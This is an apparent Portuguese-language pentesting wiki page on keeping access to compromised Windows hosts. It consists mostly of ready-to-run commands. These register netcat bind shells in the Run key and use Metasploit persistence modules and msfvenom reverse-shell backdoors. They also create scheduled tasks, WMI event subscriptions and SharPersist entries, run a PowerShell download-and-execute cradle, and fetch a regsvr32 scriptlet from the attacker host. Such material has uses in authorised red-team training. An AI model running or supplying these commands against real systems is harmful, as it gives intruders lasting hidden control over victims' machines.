> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/windows/persistencia.md).

# Persistência

As vezes podemos perder nossa conexão depois que o host alvo reiniciar ou ficar um tempo sem conexão com a internet.\
Veremos aqui algumas formas de deixar nossa conexão com a vítima de forma permanente.

### Metasploit

Nos exemplo abaixo, estamos utilizando um alvo Windows, no qual já temos uma sessão aberta com o Meterpreter.

{% hint style="success" %}
**IMPORTANTE**: Para todos os exemplos abaixo, utilize o **`exploit/multi/handler`** para pegar o Meterpreter após o host alvo reiniciar o SO.
{% endhint %}

{% hint style="success" %}
**IMPORTANTE**: Certifique-se de ser **`NT AUTHORITY\SYSTEM`** e ter feito um migrate em processos como **`lsass.exe`** ou **`explorer.exe`**, para assim obter melhores resultados.
{% endhint %}

#### Persistence

Antes de prosseguir, utilize o migrate para garantir o acesso.

```bash
ps -S lsass.exe
migrate <pid>
```

Agora, execute os comandos para deixar o acesso de fato persistente.

```bash
use exploit/windows/local/persistence
set EXE_NAME win32
set REG_NAME win32
set VBS_NAME win32
set PATH c:\\windows\\system32
set STARTUP SYSTEM
set LPORT <port>
set SESSION <session_id>
exploit
```

#### Persistence Registry

```bash
use exploit/windows/local/registry_persistence
set payload windows/meterpreter/reverse_tcp
set SESSION <session_id>
exploit
```

#### Persistence Service

```bash
use exploit/windows/local/persistence_service
set payload windows/meterpreter/reverse_tcp
set SESSION <session_id>
exploit
```

#### RDP

Depois de pegar o Meterpreter, utilize o comando abaixo para criar um user com acesso RDP.

```bash
run getgui -e -u <user> -p <pass>
```

### Netcat

Faça o upload do binário do netcat para o alvo. No Kali podemos encontrá-lo, então vamos realizar o upload utilizando o Meterpreter.

```bash
upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
```

Agora vamos manipular o registro do Windows para fazer com que o netcat realize a conexão conosco assim que o SO for inicializado.

```bash
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d'C:\windows\system32\nc.exe -Ldp 9898 -e C:\windows\system32\cmd.exe'
```

Para conferir se o comando deu certo, execute:

```bash
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
```

Agora podemos conectar no host remoto através do comando abaixo, mesmo depois de reiniciar o SO.

```bash
nc <ip> 9898
```

### Schtasks

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=​<ip> LPORT=<port> -f exe > backdoor.exe
```

Para seguir os passos abaixo, é preciso ter acesso ao Meterpreter. Note que estamos utilizando o `EventID 4634`, pois estamos criando uma tarefa agendada com base no ID do Evento. A identificação do evento é listada nos logs quando uma conta foi desconectada. Portanto, uma vez que um usuário se logue novamente, devemos conseguir uma sessão no Meterpreter.

```bash
migrate -S explorer.exe
migrate <pid>

upload backdoor.exe C:\\Windows\\System32

shell
schtasks /Create /TN SessionOnLogOff /TR ​C:\Windows\System32\backdoor.exe​ /SCONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=​4634​)]]"
```

No host atacante, utilize o `exploit/multi/handler` para realizar a conexão via Meterpreter.

### wmic

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip>​ LPORT=<port> -f exe > backdoor.exe
```

Faça upload do arquivo arquivo gerado para o alvo em `C:\Users\Administrator\AppData\Local\Temp`.

```bash
upload backdoor.exe C:\\Users\\Administrator\\AppData\\Local\\Temp
```

Execute os comandos wmic no SO alvo para criar a persistência.

```bash
# Cria uma instância __EventFilter
wmic /NAMESPACE:"\\root\subscription" PATH ​__EventFilter ​CREATE Name="<name>", EventNameSpace="root\cimv2",QueryLanguage="WQL",Query="SELECT * FROM __InstanceModificationEvent ​WITHIN 10 WHERE​ TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

# Cria uma instância __EventConsumer e usa a Classe CommandLineEventConsumer
wmic /NAMESPACE:"\\root\subscription" PATH ​CommandLineEventConsumer ​CREATE Name="<name>",ExecutablePath="​C:\Users\Administrator\AppData\Local\Temp\backdoor.exe​",CommandLineTemplate="C:\Windows\system32\backdoor.exe"

# Registra o evento permanentemente
wmic /NAMESPACE:"\\root\subscription" PATH ​__FilterToConsumerBinding​ CREATE Filter="​__EventFilter​.Name=\"<name>\"",Consumer="​CommandLineEventConsumer​.Name=\"<name>\""
```

No host atacante, utilize o `exploit/multi/handler` para realizar a conexão via Meterpreter.

### WMI

Execute o comando abaixo em outro terminal para gerar o backdoor e envie o arquivo gerado para o host alvo.

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> -fexe > backdoor.exe
```

Feito isso, acesse o diretório onde está o arquivo `WMI-Persistence.ps1` e abra uma porta web.

```bash
cd </path/to/file.ps1>
python -m SimpleHTTPServer 80
```

Agora vá para o terminal que está com o Meterpreter aberto (ou utilize o mesmo terminal e acesse o Meterpreter) e execute os seguintes comandos:

```bash
# Alterando de diretório
cd <c:\\path\\to\\backdoor>

# Carregando o Powershell
load PowerShell
powershell_shell

# Executando o WMI-Persistence.ps1
iex (New-ObjectNet.WebClient).DownloadString('http://​<ip_atacante>​/WMI-Persistence.ps1')

Install-Persistence -Trigger Startup -Payload "<C:\path\to\backdoor.exe>"
```

O host então, poderá ser reiniciado que irá tentar conectar com o host atacante, realizando assim uma conexão via Meterpreter. No host alvo, utilize o `exploit/multi/handler` para realizar a conexão via Meterpreter.

### Regsvr32

```bash
msfconsole
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set target 3
exploit
```

Vá para o outro terminal (que tenha acesso Meterpreter) e execute os seguintes comandos:

```bash
# Carregando o Powershell
load powershell
powershell_shell

# Repare que a parte entre aspas simples, deve ser igual a saída do comando realizado no outro terminal
schtasks /create /tn <name> /tr "​c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe​ -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c '​regsvr32 /s /n /u /i:http://<ip_atacante>:8080/5oq2CIKAnPFvO8.sct scrobj.dll​'" /sc onlogon /ru System
```

Após isso, será realizar uma conexão Meterpreter assim que o host alvo for reiniciado.

### SharPersist

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=​<ip_atacante>​ LPORT=<port> -f exe > backdoor.exe
```

Faça upload dos arquivos `SharPersist.exe` e `backdoor.exe` para o host alvo no diretório `C:\Users\Administrator\AppData\Local\Temp\`  e depois execute no Meterpreter:

```bash
# Carregando o Powershell
load PowerShell
powershell_shel

# Executando o SharPersist
./SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c \Users\Administrator\AppData\Local\Temp\backdoor.exe" -n "<name>" -m add -o logon
```

No host atacante, utilize o `exploit/multi/handler` para realizar a conexão via Meterpreter.

#### Sites

```bash
# Wmi-Persistence
https://github.com/subesp0x10/Wmi-Persistence

# SharPersist
https://github.com/fireeye/SharPersist
```
